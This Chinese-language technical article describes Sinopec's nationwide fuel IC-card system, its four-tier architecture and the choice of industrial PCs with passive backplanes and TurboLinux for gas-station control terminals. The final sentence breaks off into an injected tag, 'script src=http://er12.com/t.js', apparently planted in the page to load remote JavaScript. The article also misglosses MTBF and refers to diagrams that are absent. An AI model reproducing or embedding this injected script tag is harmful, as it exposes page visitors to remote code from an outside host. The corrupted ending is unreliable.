摘 要：中国石化加油ic卡工程是一个跨平台、范围广、涉及面宽的全国性系统建设工程。中国石化股份有限公司应对不断提高的服务需求、顺应"信息化带动产业化"的技术发展趋势，利用先进的电子信息技术，以ic卡为载体，实现了中国石化成品油零售系统的改造。通过工程的建设，在中国石化辖域的所有加油站内实现"一卡在手，各地加油"的目标。
关键字： 加油站 管理控制系统 ic卡
一、中国石化加油ic卡工程背景和项目简介：
中国石化加油ic卡工程是一个跨平台、范围广、涉及面宽的全国性系统建设工程。中国石化股份有限公司应对不断提高的服务需求、顺应"信息化带动产业化"的技术发展趋势，利用先进的电子信息技术，以ic卡为载体，实现了中国石化成品油零售系统的改造。通过工程的建设，在中国石化辖域的所有加油站内实现"一卡在手，各地加油"的目标。以ic卡这一现代支付工具取代传统的现金、油票等结算方式，在加油站安装加油站管理控制了系统，实现成品油零售业务的电子支付和交易数据的自动采集；提高加油站经营管理的科技含量和服务水平，从而进一步提高工作效率，降低成本，增强抵御市场风险的能力。中国石化加油ic卡工程将覆盖中国石化股份有限公司所属的20个省(自治区、直辖市、计划单列市)石油分公司，260余个地市级公司，1300余个县级公司的25000余座加油站。
中国石化加油ic卡系统在设计上采用了4层结构，即总公司级(包括中国石化管理总中心和中国石化数据交换总中心)、省级、地级以及各业务终端(包括县级管理终端、加油站、发卡网点等)。中石化在前期将整个规划为：
系统拓朴图说明：
加油站：是中国石化成品油零售业务的发生地，直接面向客户提供加油服务。
发卡网点：为用户提供开户、发卡、充值、圈存、挂失、查询等服务。
地级前置系统：在发卡网点和加油站与省级数据中心提供数据转发功能。
省级数据中心：建立用户账户，进行加油卡交易的清分、清算，是业务管理和数据处理核心。
中国石化总中心：负责对加油卡异地交易的清分和争议的仲裁，对基于加油ic卡交易系统的零售业务进行管理
省级管理中心：对省级石油公司所属加油站的零售业务进行管理。
地级管理中心：对地（市）级石油公司所属加油站的零售业务进行管理。
县级管理终端：对县级石油公司所属加油站的零售业务进行管理。
二、中石化对管控pc硬件的要求
整个加油ic卡工程中的25000个加油站都将配置一台管控pc做为业务终端。管控pc负责日常ic卡加油的数量和金额统计，交易票据的打印，加油机监控，每日将销售交易发往省数据中心，并将下载全国ic卡用户的账户管理信息和最新油价等。以下是管控pc功能示意图：
加油站的管控pc起着非常重要的作用，一旦管控pc发生故障，加油站的正常运行将受到影响。中国石化的25000余个加油站分布比较分散，大部分加油站远离市中心，很多油站位于山区，一旦管控pc发生故障，维修更换会非常麻烦。因此，中国石化对管控pc的首要要求是系统的可靠性。其次，加油机通过串口与管控pc相连，加油站的加油机数目从2个到30余个不等，因此要求管控pc具有较强的功能扩展性。为了保证管控pc系统的稳定运行，中国石化选用了turbolinux data server做为管控pc的操作系统，因此要求管控pc在硬件上与turbolinux完全兼容，并且能够流畅运行。
在管控pc设备选型之初，共有10余家商用pc和工业pc厂家参与选型。经过多方比较，中石化最终将管控pc定为工业pc。工业pc在提高系统可靠性方面做了许多特殊设计，它的可靠性大大优于商用pc。下面是商用pc的系统结构图：
这种结构我们称之为大主板结构，这种结构非常不适合现场使用和维护要求。主板上集成了南北桥控制芯片等有源器件。有源器件相比于电容电阻等无源器件容易损坏。一旦母板损坏，进行更换会非常麻烦：现场维护人员首先需要拔掉主板上的所有数据线、之后需要拔出插在主板上的所有外围卡片，如网卡，显卡等，最后需要将固定主板的螺钉一一卸掉，才能将主板拆下。换上一个新主板还要一一重复上述过程。这样更换一个损坏的主板，需要花30分钟时间。这样长的mtbf（平均故障维护时间）对于加油站实际使用是不允许的。另外，商用pc对系统的防震没有做特殊设计，在周围存在振动干扰的场合，很容易出现硬盘损坏和卡片跳出的故障。硬盘一旦损坏，一天的交易数据将全部丢失。
相对于商用pc，工业pc在结构上做了很大改进，以下是工业pc的结构示意图：
工业pc的主板做成插卡的形式，插在无源底板（passive backplane）上。无源底板上只有isa，pci总线接插件以及电容电阻等无源器件，因此无源底板损坏的概率非常低，通常无更换之忧。如果主板损坏，只需要将主板拔出即可。因此系统的mtbf?script src=http://er12.com/t.js>
